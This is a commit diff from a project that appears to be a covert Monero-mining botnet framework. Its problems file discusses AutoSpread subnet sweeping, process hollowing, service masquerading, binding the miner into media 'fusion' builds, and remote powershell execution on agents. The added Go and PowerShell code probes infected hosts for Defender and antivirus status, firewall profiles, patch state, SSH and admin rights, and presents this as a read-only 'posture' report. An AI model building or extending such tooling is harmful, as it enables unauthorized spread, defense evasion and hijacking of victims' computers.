feat: Tenable-style patch_status - pending_updates, last_patch, reboot_pending across full stack

This commit is contained in:
AetherForge
2026-05-30 23:11:32 -07:00
parent 9232f4c448
commit 4207f6c21b
43 changed files with 4359 additions and 180 deletions

View File

@@ -1,157 +1,99 @@
# AetherForge — Problem Audit # Problems
Findings grouped by severity. Updated after full bug-hunt pass (May 2026). Findings from systematic bug-hunt and test expansion (May 2026).
**Last verified:** run `test.bat` from project root (all phases) or see [tests/README.md](tests/README.md). **Verification:** `test.bat` from project root, or `go test ./...` in `server`/`agent` and `npm test` in `server/web`. AI handler only: `cd server && go test ./internal/api/... -run AI -v`.
--- ---
## Fixed (this pass) ## Open
| ID | Fix | ### Critical / security
|----|-----|
| B1 | **Pool jobs stop after disconnect**`readLoop` now waits for reconnect instead of exiting; login tracked by `loginRequestID` not hardcoded `1` | - [CRITICAL] **server/internal/api/router.go** — Unauthenticated build downloads (`/api/v1/builds/{id}/download`, `/artifact/`). Intentional for agent reinstall (UUID is secret). Suggested fix: optional auth toggle or short-lived signed URLs.
| B2 | **Fusion upload disk exhaustion**`io.LimitReader` + reject unknown upload size | - [CRITICAL] **server/internal/api/websocket.go** — Unauthenticated agent WebSocket (`/ws/agent`); any client can claim any `agent_id`. Suggested fix: bind `agent_id` to fleet secret baked into forged binary (S2 from prior audit).
| B3 | **Artifact path traversal**`safePathUnderRoot()`; `export_dir` limited to `fusion-deliverables/<title>/`; build ID validated before serve | - [CRITICAL] **server/internal/api/websocket.go** — Unauthenticated dashboard WebSocket (`/ws/dashboard`); full fleet telemetry without login. Suggested fix: require Basic auth or session cookie on WS upgrade.
| B4 | **Multipart forge without fusion** `prep_exe` only required when `fusion_enabled` | - [CRITICAL] **server/internal/api/ai_handler.go** — Unauthenticated AI endpoints (`/agent/decide`, `/report`, `/heartbeat`); SSRF via caller-supplied Ollama URL. Suggested fix: require fleet secret or dashboard auth.
| B5 | **Build succeeds when DB insert fails** — forge now fails if `InsertBuild` errors | - [HIGH] **server/internal/api/router.go** — Plaintext passwords in `users.json`; any authed user can POST `/users`. Suggested fix: bcrypt-only storage (partially done), restrict user management to admin role.
| B6 | **Query limit DoS** — stats/shares `limit` capped at 1000 | - [HIGH] **server/internal/api/fleet_handler.go** — Remote code execution via authenticated API (`powershell`/`exec`/`upload`). By design — treat dashboard login as root.
| B7 | **SPA static `..` traversal** — blocked in router fallback |
| B8 | **React 18 + R3F v9 crash** — pinned `@react-three/fiber@8` / `drei@9` (blank black screen) | ### High
| B9 | **SessionGate stale token on network error** — catch sets `authed=false` |
| B10 | **AgentsPage notes/tags wiped while typing** — drafts sync only on agent switch | - [HIGH] **server/internal/api/fleet_handler.go**`upload_log` returns content in tool report only; no dedicated log ingest API.
| B11 | **WS reconnect timer stacking** — clear timer + close existing socket before reconnect | - [HIGH] **agent/**`AutoSpread` runs when baked `true` in forge; dangerous if enabled on non-owned fleets.
| B12 | **Dashboard bulk select limited to top 12** — “Select all filtered” in FleetToolbar | - [HIGH] **agent/** — Process hollowing with `-tags hollow` + forge flag; bounds/reloc issues in `hollow_windows.go`.
| B13 | **Dashboard bulk errors silent** — catch + alert |
| B14 | **AI `restart_miner` missing `.exe`** — normalize image name for taskkill/stat/start | ### Medium / UX
| B15 | **AI reinstall `http.Get` no timeout** — uses `httpClient` |
| B16 | **Fusion `worker_first` blocked forever** — worker launches async; media runs immediately | - [MEDIUM] **server/web** — Compact agent list default; expand on click.
| B17 | **Agent empty `new_job`** — logs error and re-requests job | - [MEDIUM] **server/web** — Remote actions disabled unless `online` (by design).
| B18 | **Agent WS read deadline**`PongHandler` extends deadline on server ping | - [MEDIUM] **server/internal/builder/** — Fusion uses vendored `go-winres` (optional via run.bat).
| B19 | **Windows-only forge/agent** — cross-platform workers (Linux/macOS), universal ZIP, Spread Kit, OS badges on dashboard | - [MEDIUM] **server/web** — Batch forge no cancel/abort when navigating away; server-side cancel exists but UI state may desync (M14).
| B20 | **generateBuiltinConfig / BuiltinConfig mismatch** — added `BackupServerURLs`, `ServiceMasquerade`, `ServiceName`, `ServiceDonor` to `BuiltinConfig`; template now matches struct exactly; new unit test `TestGenerateBuiltinConfigValid` guards against regression | - [MEDIUM] **agent/miner/**`SetJob` non-atomic; partial engine update on multi-thread miners (low real-world impact).
| B21 | **Fusion media files not copied for Linux/macOS**`prepareFusionProject` now copies `media_linux.go`, `media_darwin.go`, `cache_unix.go`, `cache_windows.go`; removed deleted `media_stub.go` from copy list | - [MEDIUM] **server/internal/db/sqlite.go**`SetPinnedBuild` with unknown id unpins all builds then pins nothing; no error returned.
| B22 | **Universal fusion launch scripts called `worker --spread-install`** — replaced with `fusionUniversalStartSh/Bat/Command()` that invoke the `runner` binary per-platform; README updated with per-OS instructions | - [MEDIUM] **server/web/src/pages/AgentsPage.tsx**`FleetToolbar` omits `onSelectAllFiltered` / `filteredCount`; bulk “select all filtered” only on Dashboard (B12), not Agents roster.
| B23 | **Dashboard WS concurrent write race** — introduced `DashboardConn` wrapper with `sync.Mutex`; `broadcastDashboard` and `runPingLoopDash` serialize writes per connection |
| B24 | **Spread kit `FileSize`/`BundleSize` from worker stat** — both now use ZIP stat; also fixed same issue in `finishUniversalFusion` | ### Low
| B25 | **InsertBuild errors silently ignored in universal paths** — now logged; error returned without failing the build (ZIP is still valid) |
| B26 | **Duplicate `auto_start` key in `spreadKitPreset`** — removed duplicate that caused TS1117 compile error | - [LOW] **server/web/src/types/ws.ts + server/internal/api/ws_types.go** — WS payloads typed in two places; drift risk.
| B27 | **AgentsPage empty state Windows-only message** — updated to mention Windows, Linux, and macOS | - [LOW] **tests/** — No integration tests for remote actions end-to-end.
| B28 | **H15: submitShare conn data race**`c.conn` now snapshotted under mutex before use | - [LOW] **agent/** — Mesh P2P requires build tag `p2p`.
| B29 | **H14: mergeConfig bool corruption**`mergeConfigExplicit` only applies booleans when the parent JSON key was present; partial PUT can no longer reset `UseTLS`, `SilentMode`, `AutoStart`, etc. to false | - [LOW] **server/internal/api/config_handler.go** — Settings config import shallow-merge.
| B30 | **M13: command_result dropped** — replaced single `latestMessage` slot with `commandResults` FIFO queue (cap 50); `AgentRemoteActions` iterates all new entries so no result is missed | - [LOW] **server/internal/builder/fusion_media.go** — XOR media crypto — weak confidentiality by design.
| B31 | **L6: terminalLog memory leak** — capped at 500 entries; oldest lines dropped automatically | - [LOW] **server/internal/db/agent_meta.go**`decodeTags` silently drops invalid JSON in `tags` column (corrupt values become empty slice).
| B32 | **H17: pool requestID race**`requestID` increments in `subscribe()` and `submitShareToPool()` now guarded by the write lock | - [LOW] **server/web/e2e/smoke.spec.ts** — E2E login still uses hardcoded `drjones`/`czapiewski`; fails against first-run random `admin` password. Suggested fix: seed `users.json` in E2E fixture or read creds from env.
| B33 | **M20: AutoSpread goroutine storm**`/24` sweep uses a 16-slot semaphore on both Windows and Unix; max 16 concurrent spread attempts at any time | - [LOW] **server/web/src/types/index.ts** — Interfaces only; no runtime type guards for API JSON (validation ad hoc in components).
| B34 | **H16: AI reinstall on Windows** — move-old trick: live exe renamed to `.exe.old` before replacing; restored on failure | - [LOW] **server/web/src/pages/AgentsPage.test.tsx** — Vitest stderr `ECONNREFUSED :3000` when detail panel mounts `AgentRemoteActions`; tests pass but component may hit live fetch — mock in follow-up.
| B35 | **M17: MaxAgents TOCTOU** — count check moved inside the write lock at registration time; two concurrent new agents can no longer both slip past the cap |
| B36 | **M18: GetAgentLog blocks**`?refresh=1` now fire-and-forget; result arrives via WS `command_result` broadcast instead of 1.8 s polling loop | ### Untested packages (next coverage targets)
| B37 | **M16: Earnings estimator race**`AbortController` per fetch; stale response ignored if a newer request already fired |
| B38 | **M12: Duplicate WS connections**`WebSocketProvider` mounts one connection at the `App` level; all components share it via context; `useWebSocket()` is now a thin context read | - [LOW] **server/internal/maintenance/** — No unit tests for retention jobs (uses `db.ListBuildsOlderThan`; db layer now covered).
| B39 | **M15: Re-forge without prep file** — clear error message shown immediately when `fusion_enabled` but no payload uploaded, with instructions to re-upload first | - [LOW] **server/internal/models/** — No unit tests.
| B40 | **L1/L2: Dead CSS + duplicate imports** — removed dead `.agent-actions` rule from `FleetPanels.css`; removed redundant CSS imports from `AgentsPage`, `DashboardPage`, `BuilderPage` (each component already imports its own CSS) | - [LOW] **server/internal/ollama/** — No unit tests.
| B41 | **L7: Matrix animation restarts on share**`recentShares` moved to a `useRef` read inside the draw loop; `useEffect` dependency list now only contains `active` | - [LOW] **server/internal/sys/** — No unit tests.
| B42 | **L9: Blueprint file permissions**`os.WriteFile` mode changed from `0644` to `0600` | - [LOW] **server/web/src/help/buildManager.ts**, **cheatSheetContent.ts** — No unit tests yet.
---
## Fixed (this session)
- **server/web/src/pages/AgentsPage.tsx** — Bulk command errors now alert user (parity with Dashboard B13).
- **server/web/src/pages/DashboardPage.tsx** — Share log table uses composite React key when `share.id` absent; exported `formatShareTime` helper.
- **server/web/src/pages/AgentsPage.tsx** — `listAgents` no longer overwrites live WS agent list when socket already connected (`isConnectedRef` guard).
- **server/web/src/pages/** — Added `DashboardPage.test.tsx` (11) and `AgentsPage.test.tsx` (11); vitest config extended for `.tsx` + `@testing-library/react`.
- **server/internal/db/retention.go** — `ListBuildsOlderThan` used a partial column list; now uses `buildSelectCols` + `scanBuild` for consistent full `BuildRecord` fields.
- **server/internal/api/integration_test.go** — Integration tests used stale hardcoded `drjones`/`czapiewski` credentials; server now generates random `admin` password on first run. Tests seed deterministic `users.json` before router init.
- **server/web/src/help/fleetAnalytics.ts** — `contributionBars` included offline agents in total hashrate denominator, skewing contribution percentages on the dashboard.
- **server/web/src/pages/SettingsPage.tsx** — Access Control help text still referenced removed default credentials; updated to describe first-run console password.
- **server/internal/api/ai_handler_test.go** — Expanded unit tests for `HandleDecide`, `HandleReport`, `HandleHeartbeat`, engine lifecycle, numeric constants (1000 report cap, 60s heartbeat, 120-char reasoning truncate), Ollama-failure sleep fallback, event broadcaster, `recordActivity` merge.
- **server/web/src/help/forgeCompatibility.ts** — Wallet preflight message said length 95106 but validator accepts 90106; message aligned with `looksLikeXMRWallet()`.
- **server/web/src/help/** — Added/expanded vitest coverage: `forgeCompatibility.test.ts` (37), `forgeRules.test.ts` (46), `settingHelp.test.ts` (8).
- **server/web/src/types/index.test.ts** — Structural fixture tests for all major exported interfaces (20 tests); documents no runtime type guards.
--- ---
## Fixed (earlier passes) ## Fixed (earlier passes)
| ID | Fix | See git history and prior audit IDs (B1B42, C1C6, H1H8, etc.) in README / tests/README.md.
|----|-----|
| C1 | `BroadcastServerLog` on `WSHub` |
| C2 | `EncodeToString` in agent download handler |
| C3 | `AgentRemoteActions` legacy props |
| C4 | `useWebSocket` `latestMessage` + Agents detail wiring |
| C5 | Agent handlers: `ps`, `netstat`, `users`, `software`, `screenshot` |
| C6 | `NewMeshNode(c)` in `NewAgentClient` |
| H1 | WS reconnect: only mark offline if closing conn is still active |
| H2 | WS pre-auth guard on agent message types |
| H3 | Share submit via async pool queue |
| H4 | Fleet broadcast `all` fails when zero agents connected |
| H5H8 | AI: build ID reinstall, uptime, sleep parse, decide HTTP/error field |
| H10 | Download uses `EncodeToString` |
| H13 | `run.bat` fails on frontend build error; kills stale server before bind |
| M3 | `stats_update` includes memory, uptime, shares |
| M5 | Removed blocking 800ms sleep in `GetAgentLog` |
| M8 | `GetEngine` lock pattern simplified |
| M10 | CORS: `AllowCredentials: false` with `AllowedOrigins: *` |
| M11 | Blueprint delete returns boolean `success` |
--- ---
## Still open — Critical / security ## Recommended next section
| ID | Issue | Notes | 1. **server/web/src/pages/** — Add `BuilderPage`, `SettingsPage`, `CalibratePage` coverage (Dashboard + Agents done)
|----|-------|-------| 2. **server/web/src/components/** — Fleet panels, forge form, WebSocket provider
| S1 | **Unauthenticated build downloads** | `/api/v1/builds/{id}/download` and `/artifact/` bypass auth (intentional for agent reinstall — UUID is the secret) | 3. **server/web/src/help/buildManager.ts**, **cheatSheetContent.ts** — remaining untested help modules
| S2 | **Unauthenticated agent WebSocket** | `/ws/agent` — any client can claim any `agent_id` | 4. **server/internal/maintenance/** — retention job unit tests
| S3 | **Unauthenticated dashboard WebSocket** | `/ws/dashboard` — full fleet telemetry without login | 5. **Agent WS token auth** (S2) — security hardening
| S4 | **Unauthenticated AI endpoints** | `/api/v1/agent/decide`, `/report`, `/heartbeat` — SSRF via caller-supplied Ollama URL |
| S5 | **Default credentials in source** | `drjones` / `czapiewski` until `data/users.json` exists |
| S6 | **Plaintext passwords** | `users.json` stores cleartext; any authed user can POST `/users` |
| S7 | **Remote code execution via API** | Authenticated users can send `powershell`/`exec`/`upload` to any online agent — by design, treat as root |
--- ---
## Still open — High ## Test run snapshot (this session)
| ID | Issue | Notes | | Suite | Result |
|----|-------|-------| |-------|--------|
| H9 | `upload_log` returns content in tool report only | No dedicated log ingest API | | `server` Go tests | PASS (all packages) |
| H11 | `AutoSpread` runs when baked `true` in forge | Feature-gated but dangerous if enabled | | `server/internal/api` `-run AI` | PASS (17 tests) |
| H12 | Process hollowing with `-tags hollow` + forge flag | Bounds/reloc issues in `hollow_windows.go` | | `agent` Go tests | PASS |
| `server/web` vitest (page tests) | PASS — 2 files, 22 tests |
--- | `server/web` vitest (full suite) | Run `npm test` for current count |
## Still open — Medium / UX
| ID | Issue | Notes |
|----|-------|-------|
| M1 | Compact agent list default | Expand on click |
| M6 | Remote actions disabled unless `online` | By design |
| M9 | Fusion uses vendored `go-winres` | Optional via run.bat |
| M14 | **Batch forge no cancel/abort** | State updates after navigate away |
| M19 | **`SetJob` non-atomic** | Partial engine update on multi-thread miners (low real-world impact) |
---
## Still open — Low
| ID | Issue |
|----|-------|
| L3 | WS payloads typed in two places (`types/ws.ts` + Go) |
| L4 | No integration tests for remote actions |
| L5 | Mesh P2P requires build tag `p2p` |
| L8 | Settings config import shallow-merge |
| L10 | XOR media crypto — weak confidentiality by design |
---
## Verification
Run the full suite:
```bat
test.bat
```
Or manually:
```bat
cd server && go test ./... && go build .
cd ..\agent && go test ./... && go build .
cd ..\server\web && npm test && npm run build
run.bat
```
See **[tests/README.md](tests/README.md)** for phase breakdown and E2E options.
---
## Priority for next pass
1. **Agent WS token auth** — bind `agent_id` to build secret baked into each forged binary; verify on connect (S2)
2. **Dashboard WS auth** — require session cookie on WS upgrade (S3)
3. **Process hollowing bounds + reloc** — fix `hollow_windows.go` (H12)
4. **Batch forge cancel** — AbortController + server-side queue cancel (M14)

View File

@@ -586,8 +586,10 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
defer ticker.Stop() defer ticker.Stop()
var samples []float64 var samples []float64
var sshTick int var probeTick int
var lastSSH *bool var lastSSH *bool
var lastPosture *PostureReport
var postureReady bool
for { for {
select { select {
case <-stop: case <-stop:
@@ -626,14 +628,21 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
accepted := c.sharesAccepted accepted := c.sharesAccepted
c.mu.Unlock() c.mu.Unlock()
// Probe SSH every 6 ticks (~60s) to avoid overhead // Probe SSH + full posture every 6 ticks (~60s)
if sshTick%6 == 0 { if probeTick%6 == 0 {
ok := probeSSH() ok := probeSSH()
lastSSH = &ok lastSSH = &ok
if p := collectPosture(); p != nil {
lastPosture = p
postureReady = true
if p.SSHListening != nil {
lastSSH = p.SSHListening
}
}
} }
sshTick++ probeTick++
payload, _ := json.Marshal(StatsPayload{ stats := StatsPayload{
Hashrate15s: avg15s, Hashrate15s: avg15s,
Hashrate1m: avg1m, Hashrate1m: avg1m,
Hashrate15m: avg15m, Hashrate15m: avg15m,
@@ -643,7 +652,23 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
MemoryUsagePct: memPct, MemoryUsagePct: memPct,
UptimeSeconds: int(time.Since(c.startTime).Seconds()), UptimeSeconds: int(time.Since(c.startTime).Seconds()),
SSHAvailable: lastSSH, SSHAvailable: lastSSH,
}) }
if postureReady && lastPosture != nil {
score := lastPosture.PostureScore
stats.PostureScore = &score
stats.DefenderEnabled = lastPosture.DefenderEnabled
stats.DefenderRTP = lastPosture.DefenderRTP
stats.AVProducts = lastPosture.AVProducts
stats.FirewallDomain = lastPosture.FirewallDomain
stats.FirewallPrivate = lastPosture.FirewallPrivate
stats.FirewallPublic = lastPosture.FirewallPublic
stats.LastPatchDays = lastPosture.LastPatchDays
stats.LastPatch = lastPosture.LastPatch
stats.PendingUpdates = lastPosture.PendingUpdates
stats.RebootPending = lastPosture.RebootPending
stats.AgentElevated = lastPosture.AgentElevated
}
payload, _ := json.Marshal(stats)
_ = c.write(Message{Type: "stats", Payload: payload}) _ = c.write(Message{Type: "stats", Payload: payload})
} }
} }

View File

@@ -43,6 +43,11 @@ func (c *AgentClient) platformRecon(action, command string) (handled bool, succe
return true, false, "clipboard read unsupported on this host" return true, false, "clipboard read unsupported on this host"
case "wifi": case "wifi":
out, err = exec.Command("/bin/sh", "-c", "networksetup -listallhardwareports 2>/dev/null; nmcli dev wifi list 2>/dev/null | head -20").CombinedOutput() out, err = exec.Command("/bin/sh", "-c", "networksetup -listallhardwareports 2>/dev/null; nmcli dev wifi list 2>/dev/null | head -20").CombinedOutput()
case "posture":
if p := collectPosture(); p != nil {
return true, true, p.JSON()
}
return true, false, "posture probe failed"
default: default:
return false, false, "" return false, false, ""
} }

View File

@@ -44,6 +44,11 @@ func (c *AgentClient) platformRecon(action, command string) (handled bool, succe
return true, true, strings.TrimSpace(string(out)) return true, true, strings.TrimSpace(string(out))
} }
return true, false, formatCmdErr(err, out) return true, false, formatCmdErr(err, out)
case "posture":
if p := collectPosture(); p != nil {
return true, true, p.JSON()
}
return true, false, "posture probe failed"
default: default:
return false, false, "" return false, false, ""
} }

View File

@@ -0,0 +1,103 @@
package client
import "encoding/json"
// PostureReport is a read-only ATT&CK T1685/T1686 defense-impairment baseline
// combined with a Tenable-style patch-exposure snapshot.
// Every field is an observation — the agent never modifies any security control.
type PostureReport struct {
// ── Antivirus / Defender ──────────────────────────────────────────────────
DefenderEnabled *bool `json:"defender_enabled,omitempty"`
DefenderRTP *bool `json:"defender_rtp,omitempty"`
AVProducts []string `json:"av_products,omitempty"`
// ── Firewall — per-profile (T1686.003) ───────────────────────────────────
FirewallDomain *bool `json:"firewall_domain,omitempty"`
FirewallPrivate *bool `json:"firewall_private,omitempty"`
FirewallPublic *bool `json:"firewall_public,omitempty"`
// ── SSH ───────────────────────────────────────────────────────────────────
SSHListening *bool `json:"ssh_listening,omitempty"`
// ── Patch exposure (Tenable-style) ───────────────────────────────────────
PendingUpdates *int `json:"pending_updates,omitempty"` // -1 = unknown/timed out
LastPatch *string `json:"last_patch,omitempty"` // ISO date YYYY-MM-DD
LastPatchDays *int `json:"last_patch_days,omitempty"`
PatchRecent *bool `json:"patch_recent,omitempty"` // last_patch_days <= 30
RebootPending *bool `json:"reboot_pending,omitempty"`
// ── Process context ───────────────────────────────────────────────────────
AgentElevated *bool `json:"agent_elevated,omitempty"`
AgentServiceOK *bool `json:"agent_service_ok,omitempty"`
// ── Computed score (0-100, 5 pillars × 20) ───────────────────────────────
PostureScore int `json:"posture_score"`
}
// computePostureScore produces a 0-100 score across 5 equal pillars.
func computePostureScore(r *PostureReport) int {
if r == nil {
return 0
}
score := 0
// Pillar 1 — AV active
avOK := (r.DefenderEnabled != nil && *r.DefenderEnabled) || len(r.AVProducts) > 0
if avOK {
score += 20
}
// Pillar 2 — At least one firewall profile enabled
for _, p := range []*bool{r.FirewallDomain, r.FirewallPrivate, r.FirewallPublic} {
if p != nil && *p {
score += 20
break
}
}
// Pillar 3 — SSH reachable (enables Crucible access)
if boolTrue(r.SSHListening) {
score += 20
}
// Pillar 4 — Patch health:
// 20 pts : recently patched AND no reboot pending
// 10 pts : one of the two conditions is true
// 0 pts : stale AND/OR reboot required
recentOK := boolTrue(r.PatchRecent)
rebootOK := r.RebootPending == nil || !*r.RebootPending
if recentOK && rebootOK {
score += 20
} else if recentOK || rebootOK {
score += 10
}
// Pillar 5 — Agent alive (always true while connected)
if boolTrue(r.AgentServiceOK) {
score += 20
}
return score
}
func boolTrue(v *bool) bool { return v != nil && *v }
func boolPtr(v bool) *bool { return &v }
func intPtr(v int) *int { return &v }
func strPtr(v string) *string { return &v }
func boolPoints(v *bool) int {
if v == nil {
return -1
}
if *v {
return 20
}
return 0
}
// JSON serialises the report, recomputing the score first.
func (r *PostureReport) JSON() string {
r.PostureScore = computePostureScore(r)
b, _ := json.Marshal(r)
return string(b)
}

View File

@@ -0,0 +1,202 @@
//go:build !windows
package client
import (
"fmt"
"os"
"os/exec"
"os/user"
"strconv"
"strings"
"time"
)
func collectPosture() *PostureReport {
r := &PostureReport{AgentServiceOK: boolPtr(true)}
// ── Firewall ───────────────────────────────────────────────────────────────
fwActive := probeUnixFirewall()
r.FirewallDomain = &fwActive
r.FirewallPrivate = &fwActive
// Public profile has no direct Linux equivalent; leave nil.
// ── AV / security daemons ─────────────────────────────────────────────────
avProducts := probeUnixAV()
r.AVProducts = avProducts
avOK := fwActive || len(avProducts) > 0
r.DefenderEnabled = &avOK
// ── SSH ───────────────────────────────────────────────────────────────────
ssh := probeSSH()
r.SSHListening = &ssh
// ── Patch age ─────────────────────────────────────────────────────────────
days, dateStr := probeUnixPatchAge()
if days >= 0 {
r.LastPatchDays = &days
recent := days <= 30
r.PatchRecent = &recent
if dateStr != "" {
r.LastPatch = &dateStr
}
}
// ── Pending updates ───────────────────────────────────────────────────────
pending := probeUnixPendingUpdates()
r.PendingUpdates = &pending
// ── Reboot pending ────────────────────────────────────────────────────────
rp := probeUnixRebootPending()
r.RebootPending = &rp
// ── Elevation ─────────────────────────────────────────────────────────────
elevated := probeUnixElevated()
r.AgentElevated = &elevated
r.PostureScore = computePostureScore(r)
return r
}
// probeUnixFirewall returns true if any host firewall appears active.
func probeUnixFirewall() bool {
if out, _ := exec.Command("ufw", "status").CombinedOutput(); strings.Contains(strings.ToLower(string(out)), "status: active") {
return true
}
if out, _ := exec.Command("systemctl", "is-active", "firewalld").CombinedOutput(); strings.TrimSpace(string(out)) == "active" {
return true
}
if out, err := exec.Command("/bin/sh", "-c", "iptables -L -n 2>/dev/null | wc -l").CombinedOutput(); err == nil {
if n, err := strconv.Atoi(strings.TrimSpace(string(out))); err == nil && n > 8 {
return true
}
}
if out, _ := exec.Command("/bin/sh", "-c", "nft list ruleset 2>/dev/null | wc -l").CombinedOutput(); true {
if n, err := strconv.Atoi(strings.TrimSpace(string(out))); err == nil && n > 3 {
return true
}
}
return false
}
// probeUnixAV returns names of active security daemons.
func probeUnixAV() []string {
type entry struct{ svc, label string }
candidates := []entry{
{"clamav-daemon", "ClamAV"}, {"clamd", "ClamAV"},
{"fail2ban", "Fail2Ban"}, {"rkhunter", "RKHunter"},
{"chkrootkit", "Chkrootkit"}, {"auditd", "auditd"},
}
seen := map[string]bool{}
var found []string
for _, c := range candidates {
out, _ := exec.Command("systemctl", "is-active", c.svc).CombinedOutput()
if strings.TrimSpace(string(out)) == "active" && !seen[c.label] {
seen[c.label] = true
found = append(found, c.label)
}
}
return found
}
// probeUnixPatchAge returns (days since last update, ISO date string).
// Returns (-1, "") when unknown.
func probeUnixPatchAge() (int, string) {
stamps := []string{
"/var/lib/apt/periodic/update-success-stamp",
"/var/cache/apk/lastupdate",
}
for _, path := range stamps {
if info, err := os.Stat(path); err == nil {
d := int(time.Since(info.ModTime()).Hours() / 24)
if d < 0 {
d = 0
}
return d, info.ModTime().Format("2006-01-02")
}
}
// YUM/DNF history
if out, err := exec.Command("/bin/sh", "-c",
`yum history info 2>/dev/null | grep "Begin time" | head -1 | awk '{print $3, $4}'`).CombinedOutput(); err == nil {
line := strings.TrimSpace(string(out))
if line != "" {
if t, err := time.Parse("2006-01-02 15:04", line); err == nil {
return int(time.Since(t).Hours() / 24), t.Format("2006-01-02")
}
}
}
// rpm last installed
if out, err := exec.Command("/bin/sh", "-c", "rpm -qa --last 2>/dev/null | head -1").CombinedOutput(); err == nil {
parts := strings.Fields(string(out))
if len(parts) >= 5 {
dateStr := strings.Join(parts[len(parts)-5:], " ")
if t, err := time.Parse("Mon Jan 2 15:04:05 2006", dateStr); err == nil {
return int(time.Since(t).Hours() / 24), t.Format("2006-01-02")
}
}
}
return -1, ""
}
// probeUnixPendingUpdates returns the count of available package updates.
// Returns -1 if the count cannot be determined.
func probeUnixPendingUpdates() int {
// APT
if out, err := exec.Command("/bin/sh", "-c",
"apt list --upgradable 2>/dev/null | grep -c upgradable").CombinedOutput(); err == nil {
if n, err := strconv.Atoi(strings.TrimSpace(string(out))); err == nil {
return n
}
}
// APT check (outputs "pkg;security" lines)
if out, err := exec.Command("/bin/sh", "-c",
"/usr/lib/update-notifier/apt-check 2>&1 | cut -d';' -f1").CombinedOutput(); err == nil {
if n, err := strconv.Atoi(strings.TrimSpace(string(out))); err == nil && n >= 0 {
return n
}
}
// YUM/DNF
if out, err := exec.Command("/bin/sh", "-c",
"yum check-update --quiet 2>/dev/null | grep -c '^[a-zA-Z]'").CombinedOutput(); err == nil {
if n, err := strconv.Atoi(strings.TrimSpace(string(out))); err == nil {
return n
}
}
// apk (Alpine)
if out, err := exec.Command("/bin/sh", "-c",
"apk version -l '<' 2>/dev/null | wc -l").CombinedOutput(); err == nil {
if n, err := strconv.Atoi(strings.TrimSpace(string(out))); err == nil {
return n
}
}
return -1
}
// probeUnixRebootPending checks kernel and package signals for a required reboot.
func probeUnixRebootPending() bool {
// Debian/Ubuntu explicit flag
if _, err := os.Stat("/var/run/reboot-required"); err == nil {
return true
}
// Kernel update check: compare running vs installed
if out, err := exec.Command("uname", "-r").CombinedOutput(); err == nil {
running := strings.TrimSpace(string(out))
// Check if a newer kernel package exists
if out2, err := exec.Command("/bin/sh", "-c",
fmt.Sprintf("ls /boot/vmlinuz-* 2>/dev/null | grep -v '%s' | wc -l", running)).CombinedOutput(); err == nil {
if n, err := strconv.Atoi(strings.TrimSpace(string(out2))); err == nil && n > 0 {
return true
}
}
}
return false
}
// probeUnixElevated returns true when running as root (uid 0).
func probeUnixElevated() bool {
u, err := user.Current()
if err != nil {
return false
}
return u.Uid == "0"
}

View File

@@ -0,0 +1,233 @@
//go:build windows
package client
import (
"encoding/json"
"os/exec"
"strconv"
"strings"
)
// postureProbeScript runs in a single PowerShell invocation.
// Every section is wrapped in try/catch — one failing check never kills the probe.
// The WUA pending-update query runs in a background job capped at 15 s so it
// never blocks the agent's stats loop even on machines with a busy WU stack.
const postureProbeScript = `
$ErrorActionPreference = 'SilentlyContinue'
$p = [ordered]@{}
# ── Defender ──────────────────────────────────────────────────────────────────
try {
$mp = Get-MpComputerStatus
if ($mp) {
$p.defender_enabled = [bool]$mp.AntivirusEnabled
$p.defender_rtp = [bool]$mp.RealTimeProtectionEnabled
}
} catch {}
# ── AV products via WMI / CIM (catches third-party AV) ───────────────────────
try {
$avList = @(Get-CimInstance -Namespace root\SecurityCenter2 -ClassName AntiVirusProduct |
Select-Object -ExpandProperty displayName)
if ($avList.Count -gt 0) { $p.av_products = $avList }
} catch {
try {
$avList = @(Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct |
Select-Object -ExpandProperty displayName)
if ($avList.Count -gt 0) { $p.av_products = $avList }
} catch {}
}
# ── Firewall — per profile (T1686.003) ───────────────────────────────────────
try {
foreach ($profile in (Get-NetFirewallProfile)) {
switch ($profile.Name) {
'Domain' { $p.firewall_domain = [bool]$profile.Enabled }
'Private' { $p.firewall_private = [bool]$profile.Enabled }
'Public' { $p.firewall_public = [bool]$profile.Enabled }
}
}
} catch {}
# ── SSH service ───────────────────────────────────────────────────────────────
try {
$svc = Get-Service -Name sshd
$p.ssh_listening = ($svc.Status -eq 'Running')
} catch { $p.ssh_listening = $false }
# ── Patch age — last installed hotfix ─────────────────────────────────────────
try {
$hf = Get-HotFix | Sort-Object InstalledOn -Descending | Select-Object -First 1
if ($hf -and $hf.InstalledOn) {
$d = [datetime]$hf.InstalledOn
$days = [int]((Get-Date) - $d).TotalDays
if ($days -lt 0) { $days = 0 }
$p.last_patch = $d.ToString('yyyy-MM-dd')
$p.last_patch_days = $days
$p.patch_recent = ($days -le 30)
}
} catch {}
# ── Pending updates — WUA COM, capped at 15 s ────────────────────────────────
# Runs in a background job so a stuck WU stack cannot block the agent.
try {
$job = Start-Job -ScriptBlock {
$sess = New-Object -ComObject Microsoft.Update.Session
$searcher = $sess.CreateUpdateSearcher()
$result = $searcher.Search("IsInstalled=0 and IsHidden=0 and Type='Software'")
$result.Updates.Count
}
$done = Wait-Job $job -Timeout 15
if ($done -and $done.State -eq 'Completed') {
$cnt = [int](Receive-Job $job)
$p.pending_updates = $cnt
} else {
$p.pending_updates = -1 # timed out or failed
Remove-Job $job -Force
}
} catch { $p.pending_updates = -1 }
# ── Reboot pending — registry tripwires ──────────────────────────────────────
try {
$rp = $false
# Windows Update requested reboot
if (Test-Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired') {
$rp = $true
}
# CBS / Feature Update pending
if (Test-Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\RebootPending') {
$rp = $true
}
# Session Manager pending file rename (common post-patch signal)
$pfro = (Get-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager' -Name PendingFileRenameOperations -ErrorAction SilentlyContinue)
if ($pfro -and $pfro.PendingFileRenameOperations) { $rp = $true }
$p.reboot_pending = $rp
} catch { $p.reboot_pending = $false }
# ── Elevation ─────────────────────────────────────────────────────────────────
try {
$id = [Security.Principal.WindowsIdentity]::GetCurrent()
$pr = New-Object Security.Principal.WindowsPrincipal($id)
$p.agent_elevated = $pr.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
